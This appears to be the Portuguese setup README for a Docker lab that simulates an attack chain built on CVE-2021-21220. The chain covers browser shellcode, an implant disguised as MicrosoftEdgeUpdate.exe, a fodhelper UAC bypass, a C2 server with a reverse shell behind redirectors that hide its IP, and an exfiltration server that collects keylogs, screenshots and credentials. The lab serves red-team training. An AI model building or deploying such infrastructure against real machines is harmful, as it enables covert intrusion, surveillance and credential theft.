
CVE-2021-21220 Exploitation infrastructure
A vítima navega para uma página web hospedada. O exploit é iniciado via shellcode embutido em utils.js (executa no lado do cliente no navegador da vítima via CVE-2021-21220). O shellcode é executado na máquina da vítima, chama o servidor de entrega HTTPS, baixa MicrosoftEdgeUpdate.exe e o executa. Uma vez em execução, o implante conecta-se ao servidor C2 através de um salto intermediário (redirecionador C2) usando TLS para receber um certificado assinado, então reconecta-se via mTLS completo. O controlador C2 recebe a conexão e apresenta um menu interativo de reverse shell, permitindo que o operador execute comandos Windows remotamente na máquina da vítima.
Diagrama do Modelo de Ameaça:
Nota: Há também instruções alternativas que vão um pouco mais a fundo: https://docs.google.com/document/d/1q1xkLOoWJbd6i1exGZA5UIgr2MV8YcwYBWv_PG8luJI/edit?usp=sharing
Clone o repositório:
git clone https://github.com/JacobTaylor3/Docker-Lab-Milestone-2.git
cd Docker-Lab-Milestone-2
Baixe a VM da vítima Windows do drive compartilhado e importe-a para o VirtualBox. No VirtualBox: Arquivo → Ferramentas → Gerenciador de Redes — anote o endereço IPv4 do adaptador host-only (Ele precisa estar na sub-rede 192.168.56.0/24). Qualquer endereço IP atribuído (recomendamos 192.168.56.1) é o IP real da sua máquina C2.
Inicie o Docker Desktop (ou o daemon Docker no Linux).
Usuários Windows (WSL):
launch.shusanetshpara adicionar aliases de IP ao adaptador do VirtualBox, o que requer direitos de administrador. Clique com o botão direito na sua distribuição WSL (Ubuntu ou a que você usa) no menu Iniciar e selecione Executar como administrador antes de continuar.
Execute o script de lançamento:
sudo ./launch.sh
Quando solicitado a fornecer um IP do c2-redirector, insira um endereço diferente na mesma sub-rede (ex.: 192.168.56.10). O launch.sh o adiciona como um alias de IP no vboxnet0 para que o Docker possa se vincular a ele. A vítima se conecta apenas a este alias — o IP real da sua máquina permanece oculto.
O script irá:
ENROLLMENT_TOKEN, DOWNLOAD_TOKEN)Assim que o laboratório estiver funcionando, anexe-se ao controlador C2:
sudo docker attach c2-server
Pressione Enter se o prompt não aparecer imediatamente. Desanexe sem parar: Ctrl+P e depois Ctrl+Q.
Inicie a VM Windows. A senha é victim. Abra um navegador e navegue para:
http://<c2-redirector-IP>:8888
O exploit CVE-2021-21220 é acionado automaticamente. O shellcode baixa MicrosoftEdgeUpdate.exe de https://<c2-redirector-IP>:8443/update/<token>, executa-o via um bypass de UAC do fodhelper, e o implante se conecta de volta ao controlador C2.
A sessão do implante aparece no menu do controlador. Selecione-a pelo número para entrar no loop de comandos.
Seis contêineres, cada um representando uma máquina distinta:
Dois canais de tráfego, cada um com um salto de redirecionador em um IP separado:
:443 mTLS): vítima → c2-redirector (C2_HOST_IP) → c2-server (apenas backnet):9443 HTTPS): vítima → exfil-redirector (EXFIL_HOST_IP) → exfil-receiver (apenas exfilnet)Os dados de exfiltração são salvos em exfil-data/<hostname>/ na máquina host.
# Tail logs
sudo docker logs -f delivery-server
sudo docker logs -f exploit-server
sudo docker logs -f exfil-receiver
# Shell into a container
sudo docker exec -it c2-server /bin/bash
# Stop everything
sudo docker compose down
# View captured exfil data
ls exfil-data/
Veja documentation/ProjectOverview.md para a arquitetura completa, pipeline de tokens/criptografia, fluxo de payload.
| Máquina | Contêiner | Porta | Função |
|---|
| 1 | c2-redirector | :443 | relé TCP socat — salto voltado para a vítima, oculta o IP real do C2 |
| 2 | c2-server | (apenas backnet) | ouvinte mTLS C2 — interface de comandos do operador |
| 3 | delivery-server | :8443 | nginx HTTPS — download do implante com token de uso único |
| 4 | exploit-server | :8888 | página web do exploit CVE-2021-21220 |
| 5 | exfil-redirector | :9443 | relé TCP socat — salto voltado para a vítima, oculta o IP real de exfiltração |
| 6 | exfil-receiver | (apenas exfilnet) | coletor HTTPS POST — salva capturas de tela, logs de teclas, credenciais |